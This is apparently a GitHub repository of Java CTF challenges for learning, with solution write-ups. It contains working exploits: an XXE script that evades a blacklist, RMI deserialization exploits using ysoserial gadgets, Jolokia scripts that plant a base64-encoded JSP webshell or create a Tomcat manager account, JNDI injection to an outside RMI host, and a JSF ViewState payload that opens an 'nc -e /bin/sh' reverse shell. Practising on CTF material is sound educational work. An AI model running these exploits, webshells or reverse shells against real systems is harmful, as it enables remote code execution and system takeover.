├── README.md └── challs ├── another_malicious_format_1 ├── README.md ├── setup │ └── README.md └── solution │ ├── README.md │ └── solv.py ├── ascis_rmi_v1 ├── README.md ├── setup │ ├── README.md │ └── ascis_service1.jar └── solution │ ├── README.md │ ├── ascis_rmi_v1_sol.jar │ ├── file.policy │ └── src │ └── rmi │ ├── ASCISInterf.java │ ├── ASCISPlayer.java │ └── Player.java ├── ascis_rmi_v2 ├── README.md ├── setup │ ├── README.md │ └── ascis_service2.jar └── solution │ ├── README.md │ ├── ascis_rmi_v2_sol.jar │ ├── file.policy │ └── src │ └── rmi │ ├── ASCISInterf.java │ ├── ASCISPlayer.java │ └── Player.java ├── charity_chall ├── README.md ├── setup │ └── README.md └── solution │ ├── README.md │ ├── solv_createuser.py │ ├── solv_jndi.py │ └── solv_logwrite.py └── mojarra_war ├── README.md ├── setup └── README.md └── solution ├── README.md ├── mojarra_sol.jar └── src ├── ByteArrayGuard.java ├── TeamBean.java └── ascisz.java /README.md: -------------------------------------------------------------------------------- 1 | # ⛳ Learn JAVA vulnerability! 2 |

3 | 4 |

5 | 6 | # I. Documents: JavaSecurity101 7 | (Vietnamese) 8 |
#0 - Intro & Setup 9 |
#1 - Java Reflection 10 |
#2 - Java Deserialization – Overview 11 |
#3 - Java Deserialization – ysoserial 1 12 |
#4 - Java Deserialization – ysoserial 2 13 |
#5 - Java Deserialization – ysoserial 3 14 |
15 | #6 - Java RMI - Overview 16 |
17 | #7 - Java RMI - Exploit 18 |
... 19 | 20 | 21 | # II. Challenges 22 | Collection of awesome java CTF challenges, made from everyone on the internet :) 23 | 24 | ### Folder structure: 25 | - **challs/challenge-name/README.md:** challenge description, give to player 26 | - **challs/challenge-name/setup:** means setup, not intend to give to player 27 | - **challs/challenge-name/solution:** short writeup by me, not intend to give to player 28 | 29 | ### Challenges 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 |
@NameLevel
SVATTT2020 - Qualsascis_rmi_v1 🚀
SVATTT2020 - Qualsascis_rmi_v2🚀🚀
SVATTT2020 - Finalmojarra_war🚀🚀🚀🚀
TetCTF2021Another Malicious Format 1🚀🚀
Charity Challengecharity_chall🚀🚀
62 | -------------------------------------------------------------------------------- /challs/another_malicious_format_1/README.md: -------------------------------------------------------------------------------- 1 | # Another Malicious Format 1 2 | ### author: @peterjson 3 | 4 | 5 | #### Server: http://localhost:1337/tetctf/ 6 | 7 | #### Files: 8 | https://drive.google.com/file/d/1RM86XB8ZJtYDTsu9ELFxUupd_xyN2wK7/view?usp=sharing 9 | -------------------------------------------------------------------------------- /challs/another_malicious_format_1/setup/README.md: -------------------------------------------------------------------------------- 1 | Download 2 | ``` 3 | https://drive.google.com/file/d/1RM86XB8ZJtYDTsu9ELFxUupd_xyN2wK7/view?usp=sharing 4 | ``` 5 | 6 | then 7 | ``` 8 | docker-compose up -d 9 | ``` 10 | -------------------------------------------------------------------------------- /challs/another_malicious_format_1/solution/README.md: -------------------------------------------------------------------------------- 1 | #### In short 2 | ``` 3 | python3 solv.py 4 | ``` 5 | 6 | ``` 7 |  ~/ python3 solv.py 8 | TetCTF{just_hack} 9 | ``` 10 | 11 | 12 | #### Explanation 13 | 14 | This is AMF service, learning around you can know where the endpoint located 15 | in tetctf.war: WEB-INF/flex/services-config.xml 16 | ``` 17 | 18 | 19 | 20 | ``` 21 | So we can send AMF packet to that endpoint to interactive with the server (google for the AMF packet structure, or refer to genAMF() in solv.py) 22 | 23 | Checking the version, it seems vulnerable to CVE-2015-3269 24 | https://codewhitesec.blogspot.com/2015/08/cve-2015-3269-apache-flex-blazeds-xxe.html 25 | 26 | The problems here are: 27 | - We cant direct get data from XXE or blind XXE 28 | - Some keywords are blacklisted (SecurityFilter.class) 29 | ``` 30 | public static String pattern = "(file|ftp|http|https|data|class|bash|logs|log|conf|etc|session|proc|root|history)"; 31 | ``` 32 | 33 | From this article: 34 | https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation/ 35 | 36 | we can do error xxe thanks to local dtd to leak the data 37 | 38 | First pick 1 payload from here 39 | https://github.com/GoSecure/dtd-finder/blob/master/list/xxe_payloads.md 40 | 41 | Then check if yours picked is available in the challenge system, here I pick the `jsp-api.jar` payload 42 | 43 | ``` 44 | root@2be729a9262c:/# find / | grep "\.jar" | grep "jsp-api" 45 | find: '/proc/20/map_files': Permission denied 46 | find: '/proc/22/map_files': Permission denied 47 | find: '/proc/23/map_files': Permission denied 48 | find: '/proc/24/map_files': Permission denied 49 | find: '/proc/25/map_files': Permission denied 50 | /home/service/apache-tomcat-7.0.99/lib/jsp-api.jar 51 | ``` 52 | 53 | Unfortunately we meet the blacklist filter, so we have to find a way to avoid it, well the payload is considered as universal exploit, so it stick with FILE or HTTP stream, somehow in JAVA, you can also read file using netdoc stream 54 | ``` 55 | 57 | 58 | 59 | "> 60 | %eval; 61 | %error; 62 | 63 | %local_dtd; 64 | ]> 65 | 66 | ``` 67 | 68 | THen Boom! 69 | -------------------------------------------------------------------------------- /challs/another_malicious_format_1/solution/solv.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import re 3 | 4 | url = "http://localhost:1337/tetctf/messagebroker/amf" 5 | 6 | 7 | ''' 8 | QDataStream stream(&outArray, QIODevice::WriteOnly); 9 | stream.setByteOrder(QDataStream::BigEndian); 10 | stream << (qint16)3; // version 11 | stream << (qint16)0; // header count 12 | stream << (qint16)1; // message count 13 | stream << (qint16)3; // target length 14 | stream << (qint32) tsu; // target 15 | stream << (qint16)7; // response length 16 | stream << (qint16)deptrai; // response 17 | stream << (qint32)data.size(); // message size 18 | stream.writeRawData(data.data(), data.size()); // message data 19 | ''' 20 | def genAMF(payload): 21 | version = '\x00\x03' # Version 22 | headers = '\x00\x00' # No headers 23 | msg_count = '\x00\x01' # sending 1 message 24 | packet = version + headers + msg_count 25 | 26 | # Set target and respond 27 | target = "\x00\x03tsu" 28 | respond = "\x00\x07deptrai" 29 | packet += target + respond 30 | 31 | # just set size message to max 32 | size_msg = "\xff\xff\xff\xff" 33 | # Start message body data 34 | array_one_entry = "\x0A\x00\x00\x00\x01" 35 | xml_type = "\x0F" 36 | size_and_string = "\x00\x00\x01\xAA" 37 | bodies = size_msg + array_one_entry + xml_type + size_and_string + payload 38 | 39 | packet += bodies 40 | return packet 41 | 42 | xml_payload = ''' 44 | 45 | 46 | "> 47 | %eval; 48 | %error; 49 | 50 | %local_dtd; 51 | ]> 52 | ''' 53 | 54 | payload = genAMF(xml_payload) 55 | r = requests.post(url, data = payload, headers = {"Content-Type": "application/x-amf"}) 56 | 57 | m = re.findall("abcxyz/(?P.*)", r.text) 58 | print(m[0]) -------------------------------------------------------------------------------- /challs/ascis_rmi_v1/README.md: -------------------------------------------------------------------------------- 1 | # ascis_rmi_v1 2 | ### author: @peterjson 3 | 4 | This year, we have some funny web/pwn challenges. 5 | 6 | Can you write the exploit with Java? 7 | 8 | Good luck! 9 | 10 | #### Server: localhost 1099 11 | 12 | #### Files: 13 | https://drive.google.com/file/d/1Gfwhs0K-sNEQtNtHNK2gZz9IDdrpyOHF/view 14 | -------------------------------------------------------------------------------- /challs/ascis_rmi_v1/setup/README.md: -------------------------------------------------------------------------------- 1 | java -jar ascis_service1.jar 2 | -------------------------------------------------------------------------------- /challs/ascis_rmi_v1/setup/ascis_service1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsug0d/LearnJavaVulnerability/54b5dfab7a9f7222ba6a982c4124224211800e53/challs/ascis_rmi_v1/setup/ascis_service1.jar -------------------------------------------------------------------------------- /challs/ascis_rmi_v1/solution/README.md: -------------------------------------------------------------------------------- 1 | ## In short: ( ./src for code refer ) 2 | ``` 3 |  ~/java_challs/ascis_rmi_v1/solution/ java -jar untitled.jar localhost 1099 "curl tsug0d.com:4321/?a=1233" 4 | 5 | Exception in thread "main" java.lang.ClassCastException: javax.management.BadAttributeValueExpException cannot be cast to rmi.Player 6 | ``` 7 | 8 | 9 | 10 | ## Explanation: 11 | 12 | 13 | 14 | Create Client to interactive with rmi server, rmi use 100% java serialize/unserialize to transform data so attacker can send malicious serialize object to server and let it unserialize 15 | 16 | In Player class we can see the check isAdmin() and method toString() let us run command, so we use java reflect to modify their value, and call gadget 17 | ``` 18 | gadget BadAttributeValueExpException.readObject() -> Player.toString() 19 | ``` 20 | to call toString of Player 21 | 22 | = End = 23 | -------------------------------------------------------------------------------- /challs/ascis_rmi_v1/solution/ascis_rmi_v1_sol.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsug0d/LearnJavaVulnerability/54b5dfab7a9f7222ba6a982c4124224211800e53/challs/ascis_rmi_v1/solution/ascis_rmi_v1_sol.jar -------------------------------------------------------------------------------- /challs/ascis_rmi_v1/solution/file.policy: -------------------------------------------------------------------------------- 1 | grant { 2 | // Allow everything for now 3 | permission java.security.AllPermission; 4 | }; 5 | -------------------------------------------------------------------------------- /challs/ascis_rmi_v1/solution/src/rmi/ASCISInterf.java: -------------------------------------------------------------------------------- 1 | package rmi; 2 | import java.rmi.Remote; 3 | import java.rmi.RemoteException; 4 | 5 | public abstract interface ASCISInterf extends Remote 6 | { 7 | public abstract String sayHello(String paramString) 8 | throws RemoteException; 9 | 10 | public abstract String login(Object paramObject) 11 | throws RemoteException; 12 | } 13 | -------------------------------------------------------------------------------- /challs/ascis_rmi_v1/solution/src/rmi/ASCISPlayer.java: -------------------------------------------------------------------------------- 1 | package rmi; 2 | 3 | import javax.management.BadAttributeValueExpException; 4 | import java.lang.reflect.Field; 5 | import java.rmi.NotBoundException; 6 | import java.rmi.registry.LocateRegistry; 7 | import java.rmi.registry.Registry; 8 | 9 | public class ASCISPlayer 10 | { 11 | public static void main(String[] args) throws java.rmi.RemoteException, NotBoundException, Exception 12 | { 13 | if (args.length != 3) { 14 | System.out.println("Usage: java -jar ascis_rmi_v1_sol.jar localhost 1099 \"curl tsug0d.com:4321/?a=1\""); 15 | System.exit(0); 16 | } 17 | String rhost = args[0]; 18 | Integer rport = Integer.parseInt(args[1]); 19 | String cmd = args[2]; 20 | 21 | // On some project doesn't need this (?), maybe related to mac jdk security 22 | System.setProperty("java.security.policy", "./file.policy"); 23 | System.setSecurityManager(new SecurityManager()); 24 | 25 | // Connect to service 26 | Registry registry = LocateRegistry.getRegistry(rhost, rport); 27 | ASCISInterf ascisInterf = (ASCISInterf)registry.lookup("ascis"); 28 | 29 | // Create player 30 | Player p = new Player(); 31 | p.setAdmin(true); 32 | 33 | // Set Field 34 | Field cmdlog = p.getClass().getDeclaredField("logCommand"); 35 | cmdlog.setAccessible(true); 36 | cmdlog.set(p, cmd); 37 | 38 | // gadget BadAttributeValueExpException.readObject() -> Player.toString() 39 | BadAttributeValueExpException bad = new BadAttributeValueExpException(null); 40 | Field val = bad.getClass().getDeclaredField("val"); 41 | val.setAccessible(true); 42 | val.set(bad, p); 43 | 44 | ascisInterf.login(bad); 45 | } 46 | } 47 | 48 | -------------------------------------------------------------------------------- /challs/ascis_rmi_v1/solution/src/rmi/Player.java: -------------------------------------------------------------------------------- 1 | package rmi; 2 | 3 | import java.io.IOException; 4 | 5 | public class Player implements java.io.Serializable 6 | { 7 | // change the serialVersionUID based on the error return 8 | private static final long serialVersionUID = -6841810502134843716L; 9 | private String name; 10 | private boolean isAdmin; 11 | private String logCommand = "echo \"ADMIN LOGGED IN\" > /tmp/log.txt"; 12 | 13 | public String getName() 14 | { 15 | return this.name; 16 | } 17 | 18 | public void setName(String name) { 19 | this.name = name; 20 | } 21 | 22 | public boolean isAdmin() { 23 | return this.isAdmin; 24 | } 25 | 26 | public void setAdmin(boolean admin) { 27 | this.isAdmin = admin; 28 | } 29 | 30 | public String toString() 31 | { 32 | if (isAdmin()) { 33 | try { 34 | Runtime.getRuntime().exec(this.logCommand); 35 | } catch (IOException e) { 36 | e.printStackTrace(); 37 | } 38 | return "ADMIN LOGGED IN"; 39 | } 40 | return "USER LOGGED IN"; 41 | } 42 | } -------------------------------------------------------------------------------- /challs/ascis_rmi_v2/README.md: -------------------------------------------------------------------------------- 1 | # ascis_rmi_v2 2 | ### Author: @peterjson 3 | 4 | Harder version for pentester, a real-world challenge and no more given source. 5 | 6 | No more easy bug, find yourself a way to PWN my service! 7 | 8 | #### Server: localhost 1099 9 | 10 | #### Files: 11 | https://drive.google.com/file/d/1eYV-OwWowDYosroY4uEIrHmAya_eeMOW/view 12 | -------------------------------------------------------------------------------- /challs/ascis_rmi_v2/setup/README.md: -------------------------------------------------------------------------------- 1 | java -cp ascis_service2.jar rmi.ASCISServer 2 | -------------------------------------------------------------------------------- /challs/ascis_rmi_v2/setup/ascis_service2.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsug0d/LearnJavaVulnerability/54b5dfab7a9f7222ba6a982c4124224211800e53/challs/ascis_rmi_v2/setup/ascis_service2.jar -------------------------------------------------------------------------------- /challs/ascis_rmi_v2/solution/README.md: -------------------------------------------------------------------------------- 1 | ``` 2 |  ~/java_challs/ascis_rmi_v2/solution/ java -jar ascis_rmi_v2.jar localhost 1099 "curl tsug0d.com:4321/?aaa" 3 | java.lang.ClassCastException: javax.management.BadAttributeValueExpException cannot be cast to rmi.Player 4 | at rmi.ASCISInterfImpl.login(ASCISInterfImpl.java:19) 5 | at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) 6 | ``` 7 | 8 | 9 | 10 | Same as v1, but more tricky since toString() is removed and we have to modify builtin class (more explain in code ./src ) 11 | -------------------------------------------------------------------------------- /challs/ascis_rmi_v2/solution/ascis_rmi_v2_sol.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsug0d/LearnJavaVulnerability/54b5dfab7a9f7222ba6a982c4124224211800e53/challs/ascis_rmi_v2/solution/ascis_rmi_v2_sol.jar -------------------------------------------------------------------------------- /challs/ascis_rmi_v2/solution/file.policy: -------------------------------------------------------------------------------- 1 | grant { 2 | // Allow everything for now 3 | permission java.security.AllPermission; 4 | }; 5 | -------------------------------------------------------------------------------- /challs/ascis_rmi_v2/solution/src/rmi/ASCISInterf.java: -------------------------------------------------------------------------------- 1 | package rmi; 2 | import java.rmi.Remote; 3 | import java.rmi.RemoteException; 4 | 5 | public abstract interface ASCISInterf extends Remote 6 | { 7 | public abstract String sayHello(String paramString) 8 | throws RemoteException; 9 | 10 | public abstract String login(Object paramObject) 11 | throws RemoteException; 12 | } 13 | -------------------------------------------------------------------------------- /challs/ascis_rmi_v2/solution/src/rmi/ASCISPlayer.java: -------------------------------------------------------------------------------- 1 | package rmi; 2 | 3 | import org.apache.commons.collections.functors.InvokerTransformer; 4 | 5 | import java.lang.reflect.Field; 6 | import java.lang.reflect.Modifier; 7 | import java.rmi.NotBoundException; 8 | import java.rmi.registry.LocateRegistry; 9 | import java.rmi.registry.Registry; 10 | import ysoserial.payloads.CommonsCollections5; 11 | 12 | public class ASCISPlayer 13 | { 14 | public static void main(String[] args) throws java.rmi.RemoteException, NotBoundException, Exception 15 | { 16 | if (args.length != 3) { 17 | System.out.println("Usage: java -jar ascis_rmi_v1_sol.jar localhost 1099 \"curl tsug0d.com:4321/?a=1\""); 18 | System.exit(0); 19 | } 20 | String rhost = args[0]; 21 | Integer rport = Integer.parseInt(args[1]); 22 | String cmd = args[2]; 23 | 24 | // On some project doesn't need this (?), maybe related to mac jdk security 25 | System.setProperty("java.security.policy", "./file.policy"); 26 | System.setSecurityManager(new SecurityManager()); 27 | 28 | // Connect to service 29 | Registry registry = LocateRegistry.getRegistry(rhost, rport); 30 | rmi.ASCISInterf ascisInterf = (rmi.ASCISInterf)registry.lookup("ascis"); 31 | 32 | // by Using GadgetProbe, we found that org.apache.commons.collections.functors.InvokerTransformer unserialized and sent to DNS server 33 | // challenge require stream serialVersionUID (client) = local serialVersionUID (server), so we need to set it. 34 | // local class need serialVersionUID = -1333713373713373737, access directly to InvokerTransformer class and change its serialVersionUID 35 | Field serialVersionUID = InvokerTransformer.class.getDeclaredField("serialVersionUID"); 36 | serialVersionUID.setAccessible(true); 37 | Field modifiers = Field.class.getDeclaredField("modifiers"); 38 | modifiers.setAccessible(true); 39 | modifiers.setInt(serialVersionUID, serialVersionUID.getModifiers() & ~Modifier.FINAL); 40 | serialVersionUID.set(InvokerTransformer.class, -1333713373713373737L); 41 | 42 | // ysoserial magik 43 | try { 44 | // org.apache.commons.collections.functors.InvokerTransformer is inside CommonsCollections5 45 | Object payload = new CommonsCollections5().getObject(cmd); 46 | ascisInterf.login(payload); 47 | } catch (Exception e) { 48 | e.printStackTrace(); 49 | } 50 | } 51 | } 52 | 53 | -------------------------------------------------------------------------------- /challs/ascis_rmi_v2/solution/src/rmi/Player.java: -------------------------------------------------------------------------------- 1 | package rmi; 2 | 3 | import java.io.IOException; 4 | 5 | public class Player implements java.io.Serializable 6 | { 7 | // change the serialVersionUID based on the error return 8 | private static final long serialVersionUID = 5558077863197230219L; 9 | private String name; 10 | private boolean isAdmin; 11 | private String logCommand = "echo \"ADMIN LOGGED IN\" > /tmp/log.txt"; 12 | 13 | public String getName() 14 | { 15 | return this.name; 16 | } 17 | 18 | public void setName(String name) { 19 | this.name = name; 20 | } 21 | 22 | public boolean isAdmin() { 23 | return this.isAdmin; 24 | } 25 | 26 | public void setAdmin(boolean admin) { 27 | this.isAdmin = admin; 28 | } 29 | 30 | public String toString() 31 | { 32 | if (isAdmin()) { 33 | try { 34 | Runtime.getRuntime().exec(this.logCommand); 35 | } catch (IOException e) { 36 | e.printStackTrace(); 37 | } 38 | return "ADMIN LOGGED IN"; 39 | } 40 | return "USER LOGGED IN"; 41 | } 42 | } -------------------------------------------------------------------------------- /challs/charity_chall/README.md: -------------------------------------------------------------------------------- 1 | # Charity chall 2 | ### author: @peterjson 3 | 4 | 5 | #### Server: http://localhost:1337/vulnapp/ 6 | -------------------------------------------------------------------------------- /challs/charity_chall/setup/README.md: -------------------------------------------------------------------------------- 1 | Download 2 | ``` 3 | https://drive.google.com/file/d/1CHPWzwi332nLqLRpjpfC5k6u1RxJclL1/view 4 | ``` 5 | 6 | then 7 | ``` 8 | docker-compose up -d 9 | ``` 10 | -------------------------------------------------------------------------------- /challs/charity_chall/solution/README.md: -------------------------------------------------------------------------------- 1 | ## This challenge got 3 solutions (or more...) 2 | 3 | ### Sol 1 - Write Log via AccessLogValve Mbean 4 | ``` 5 | python3 solv_logwrite.py http://localhost:1339/vulnapp/ 6 | ``` 7 | ![solv](https://i.imgur.com/fLGY06M.png) 8 | 9 | ### Sol 2 - Create Tomcat User -> Manage App -> Upload WAR Shell 10 | ``` 11 | python3 solv_createuser.py http://localhost:1339/vulnapp/ 12 | ``` 13 | 14 | Then Login in tomcat 15 | 16 | ![login](https://i.imgur.com/EXOEUY8.png) 17 | 18 | Upload war 19 | 20 | https://github.com/BustedSec/webshell/blob/master/webshell.war 21 | 22 | ![war](https://i.imgur.com/ffwyw0W.png) 23 | 24 | ![war2](https://i.imgur.com/F2eSRhd.png) 25 | 26 | 27 | Read Flag 28 | ``` 29 | http://localhost:1339/webshell/?cmd=/readflag 30 | ``` 31 | ![flag](https://i.imgur.com/7d2mN4s.png) 32 | 33 | 34 | ### Sol 3 - JNDI Injection 35 | 36 | Service uses jdk1.8.0_131 higher than JDK8u121 so no traditional rmi marshall used :), instead we got: 37 | https://github.com/welk1n/JNDI-Injection-Exploit 38 | 39 | Start the rmi server: 40 | ``` 41 | java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "script -c /readflag /home/service/apache-tomcat-8.5.35/webapps/vulnapp/tsu.txt" -A "tsug0d.com" 42 | ``` 43 | ![rmi](https://i.imgur.com/xpkLwQg.png) 44 | 45 | Take the rmi that meet the server conditional, in this case: 46 | ``` 47 | Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath): 48 | rmi://tsug0d.com:1099/j3muyl 49 | ``` 50 | 51 | run exploit to call to our rmi 52 | ``` 53 | python3 solv_jndi.py http://localhost:1339/vulnapp/actuator rmi://tsug0d.com:1099/j3muyl 54 | ``` 55 | 56 | get flag 57 | 58 | ![flag](https://i.imgur.com/rZqGYbb.png) 59 | -------------------------------------------------------------------------------- /challs/charity_chall/solution/solv_createuser.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import sys 3 | 4 | def createRole(url): 5 | data = { 6 | "type":"EXEC", 7 | "mbean":"Users:database=UserDatabase,type=UserDatabase", 8 | "operation":"createRole", 9 | "arguments": ["manager-gui", ""] 10 | } 11 | r = requests.post(url, json=data, headers={"Content-Type":"application/json"}) 12 | 13 | def createUser(url): 14 | data = { 15 | "type":"EXEC", 16 | "mbean":"Users:database=UserDatabase,type=UserDatabase", 17 | "operation":"createUser", 18 | "arguments": ["tsu", "deptrai", ""] 19 | } 20 | r = requests.post(url, json=data, headers={"Content-Type":"application/json"}) 21 | 22 | def addRole(url): 23 | data = { 24 | "type":"EXEC", 25 | "mbean":"Users:database=UserDatabase,type=User,username=\"tsu\"", 26 | "operation":"addRole", 27 | "arguments": ["manager-gui"] 28 | } 29 | r = requests.post(url, json=data, headers={"Content-Type":"application/json"}) 30 | 31 | if len(sys.argv) < 2: 32 | print("python3 solv_createuser.py ") 33 | exit() 34 | 35 | try: 36 | url = sys.argv[1]+"/actuator/jolokia" 37 | createRole(url) 38 | createUser(url) 39 | addRole(url) 40 | except: 41 | pass -------------------------------------------------------------------------------- /challs/charity_chall/solution/solv_jndi.py: -------------------------------------------------------------------------------- 1 | import requests as req 2 | import sys 3 | 4 | if len(sys.argv) < 3: 5 | print("python3 solv_jndi.py ") 6 | exit() 7 | 8 | url = sys.argv[1] + "/jolokia/" 9 | 10 | # JNDIRealm 11 | create_JNDIrealm = { 12 | "mbean": "Catalina:type=MBeanFactory", 13 | "type": "EXEC", 14 | "operation": "createJNDIRealm", 15 | "arguments": ["Catalina:type=Engine"] 16 | } 17 | 18 | # contextFactory 19 | set_contextFactory = { 20 | "mbean": "Catalina:realmPath=/realm0,type=Realm", 21 | "type": "WRITE", 22 | "attribute": "contextFactory", 23 | "value": "com.sun.jndi.rmi.registry.RegistryContextFactory" 24 | } 25 | # connectionURL to call RMI service 26 | set_connectionURL = { 27 | "mbean": "Catalina:realmPath=/realm0,type=Realm", 28 | "type": "WRITE", 29 | "attribute": "connectionURL", 30 | "value": sys.argv[2] 31 | } 32 | # Realm stop 33 | stop_JNDIrealm = { 34 | "mbean": "Catalina:realmPath=/realm0,type=Realm", 35 | "type": "EXEC", 36 | "operation": "stop", 37 | "arguments": [] 38 | } 39 | # Realm start 40 | start = { 41 | "mbean": "Catalina:realmPath=/realm0,type=Realm", 42 | "type": "EXEC", 43 | "operation": "start", 44 | "arguments": [] 45 | } 46 | 47 | expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start] 48 | 49 | for i in expoloit: 50 | rep = req.post(url, json=i) -------------------------------------------------------------------------------- /challs/charity_chall/solution/solv_logwrite.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import sys 3 | import json 4 | import base64 5 | 6 | # Get web base dir 7 | def getRootPath(url): 8 | data = { 9 | "type":"EXEC", 10 | "mbean":"com.sun.management:type=DiagnosticCommand", 11 | "operation":"vmSystemProperties", 12 | "arguments":[] 13 | } 14 | r = requests.post(url, json=data, headers={"Content-Type":"application/json"}) 15 | res = json.loads(r.text) 16 | for i in res["value"].split("\n"): 17 | if "catalina.base=" in i: 18 | base = i 19 | return base.split("=")[1] 20 | 21 | # Define which log pattern to write 22 | # https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf 23 | # https://tomcat.apache.org/tomcat-7.0-doc/api/org/apache/catalina/valves/AccessLogValve.html 24 | def setLogPattern(url): 25 | data = { 26 | "type":"WRITE", 27 | "mbean":"Catalina:type=Valve,host=localhost,name=AccessLogValve", 28 | "attribute":"pattern", 29 | "value":"%{tsu}i" 30 | } 31 | r = requests.post(url, json=data, headers={"Content-Type":"application/json"}) 32 | 33 | def poisonLogViaCookie(url): 34 | shell = "PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiJT48JSBQcm9jZXNzIHA9UnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpO091dHB1dFN0cmVhbSBvcyA9IHAuZ2V0T3V0cHV0U3RyZWFtKCk7SW5wdXRTdHJlYW0gaW4gPSBwLmdldElucHV0U3RyZWFtKCk7RGF0YUlucHV0U3RyZWFtIGRpcyA9IG5ldyBEYXRhSW5wdXRTdHJlYW0oaW4pO1N0cmluZyBkaXNyID0gZGlzLnJlYWRMaW5lKCk7d2hpbGUgKCBkaXNyICE9IG51bGwpIHtvdXQucHJpbnRsbihkaXNyKTtkaXNyID0gZGlzLnJlYWRMaW5lKCk7fSU+" 35 | header = {'tsu': base64.b64decode(shell).decode('utf-8') } 36 | r = requests.get(url, headers=header) 37 | 38 | def rotateLog(url, path): 39 | data = { 40 | "type":"EXEC", 41 | "mbean":"Catalina:type=Valve,host=localhost,name=AccessLogValve", 42 | "operation":"rotate(java.lang.String)", 43 | "arguments":["%s/webapps/vulnapp/tsu.jsp"%path] 44 | } 45 | r = requests.post(url, json=data, headers={"Content-Type":"application/json"}) 46 | 47 | def shell(url, cmd): 48 | url = "%s/tsu.jsp?cmd="%url+cmd 49 | r = requests.get(url) 50 | res = r.text.split("-")[-1] 51 | print(res.strip()) 52 | 53 | if len(sys.argv) < 2: 54 | print("python3 solv_logwrite.py ") 55 | exit() 56 | 57 | try: 58 | url = sys.argv[1]+"/actuator/jolokia" 59 | root = getRootPath(url) 60 | setLogPattern(url) 61 | poisonLogViaCookie(sys.argv[1]) 62 | rotateLog(url, root) 63 | while True: 64 | cmd = input("$ ") 65 | shell(sys.argv[1], cmd) 66 | except: 67 | print("Something wrong") 68 | 69 | 70 | -------------------------------------------------------------------------------- /challs/mojarra_war/README.md: -------------------------------------------------------------------------------- 1 | # mojarra_war 2 | ### author: @peterjson 3 | 4 | Java server faces is a common web framework so what common vulnerabilities on JSF ? 5 | 6 | #### Server: http://localhost:31337/mojarra_war/ 7 | 8 | #### Files: 9 | https://drive.google.com/file/d/1gqSvfp0uyU9f4ogRCDL8W91yRtowTH2t/view 10 | 11 | (server key is different on server) 12 | -------------------------------------------------------------------------------- /challs/mojarra_war/setup/README.md: -------------------------------------------------------------------------------- 1 | Require: Docker 2 | 3 | - Download: 4 | https://drive.google.com/file/d/1gqSvfp0uyU9f4ogRCDL8W91yRtowTH2t/view 5 | 6 | - Command 7 | ``` 8 | chmod +x start_ascis_final.sh 9 | ``` 10 | ``` 11 | ./start_ascis_final.sh 12 | ``` 13 | -------------------------------------------------------------------------------- /challs/mojarra_war/solution/README.md: -------------------------------------------------------------------------------- 1 | ## In short: ( ./src for code refer) 2 | ``` 3 | java -jar mojarra_sol.jar localhost 31337 tsug0d.com 4321 4 | ``` 5 | 6 | 7 | ## Explaination: 8 | 2 Steps chall: Leak server key + Generate JSF2 ViewState contains gadget that can call TeamBean toString method 9 | 10 | #### Step 1: Leak server key 11 | 12 | From Response header 13 | ``` 14 | X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 5.0 Java/Oracle Corporation/1.8) 15 | ``` 16 | -> JSP/2.3 17 | 18 | -> CVE-2018-14371 19 | 20 | search for patch 21 | 22 | 23 | 24 | -> Vulnerable at parameter `loc` of ResourceManager 25 | 26 | ResourceManager example: 27 | 28 | http://localhost:31337/mojarra_war/javax.faces.resource/bootstrap.min.css.xhtml?loc=css 29 | 30 | loc=css means the server will look for the file inside resources/css folder 31 | 32 | 33 | 34 | the key is inside WEB-INF/web.xml, so how to get it? 35 | 36 | -> http://localhost:31337/mojarra_war/javax.faces.resource/web.xml.xhtml?loc=../WEB-INF 37 | 38 | 39 | 40 | #### Step 2: Generate JSF2 ViewState contains gadget that can call TeamBean toString method 41 | 42 | 43 | 44 | 1. Create gadget that call TeamBean toString (src/ascisz.java line 31 to 52) 45 | 46 | ``` 47 | TeamBean team = new TeamBean(); 48 | String payload = "var message = \"tsudepzai\";"+ 49 | String.format("var lhost = \"%s\";",lhost) + 50 | String.format("var lport = \"%s\";",lport) + 51 | "p = new java.lang.ProcessBuilder();"+ 52 | "p.command(\"nc\",\"-e\",\"/bin/sh\", lhost, lport);"+ 53 | "p.start();"; 54 | // Set team_secret_status true 55 | Field team_secret_status = team.getClass().getDeclaredField("team_secret_status"); 56 | team_secret_status.setAccessible(true); 57 | team_secret_status.set(team, true); 58 | 59 | // Set payload eval 60 | Field template = team.getClass().getDeclaredField("template"); 61 | template.setAccessible(true); 62 | template.set(team, payload); 63 | 64 | // gadget BadAttributeValueExpException.readObject() -> TeamBean.toString() 65 | BadAttributeValueExpException bad = new BadAttributeValueExpException(null); 66 | Field val = bad.getClass().getDeclaredField("val"); 67 | val.setAccessible(true); 68 | val.set(bad, team); 69 | ``` 70 | 71 | 2. Gzip + Enc + Base64 (src/ascisz.java line 55 to 68) 72 | ``` 73 | ByteArrayGuard guard = new ByteArrayGuard(); 74 | ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); 75 | ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream); 76 | outputStream.writeObject(bad); 77 | outputStream.close(); 78 | 79 | ByteArrayOutputStream byteArrayOutputStreamGzip = new ByteArrayOutputStream(); 80 | 81 | GZIPOutputStream gzipOutputStream = new GZIPOutputStream(byteArrayOutputStreamGzip); 